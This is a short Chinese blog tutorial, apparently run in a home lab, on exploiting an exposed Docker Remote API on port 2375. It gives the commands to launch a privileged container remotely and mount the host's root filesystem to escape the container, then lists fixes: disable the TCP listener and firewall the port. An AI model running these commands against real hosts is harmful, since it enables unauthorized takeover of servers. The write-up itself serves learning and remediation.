
本文章仅限于学习网络安全知识、自行修复漏洞、提高安全警惕等!禁止用于非法不当用途!
一、环境介绍
靶机:PVE LXC容器搭建的ubuntu:24.04系统,已经安装Docker服务,开启api访问(192.168.2.194:2375)
攻击机:自己的电脑,已经安装Docker环境
二、漏洞检查
如果能访问192.168.2.194:2375/version,则证明该漏洞并未修复
三、漏洞复现
1.在电脑上执行远程创建容器命令
docker -H tcp://192.168.2.194:2375 run -it --privileged alpine /bin/sh
在终端启动一个有交互的shell,并且是特权镜像,当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
2.挂载宿主机目录卷,并尝试添加文件
docker -H tcp://192.168.2.194:2375 run -it --privileged -v /:/data alpine /bin/sh
3.检查宿主机是否新增该文件(是否逃逸)
四、漏洞修复
- 编辑/usr/lib/systemd/system/docker.service文件,删除-H tcp://0.0.0.0:2375 API访问,仅使用sock访问Docker
- 添加防火墙策略,仅限特定IP可访问Docker API服务
五、漏洞总结
非不要请不要将业务端口公布到外网,避免造成未经授权的访问,运维人员还要定期检查系统存在的安全隐患,并进行修复!
广告:
© 版权声明
THE END
暂无评论内容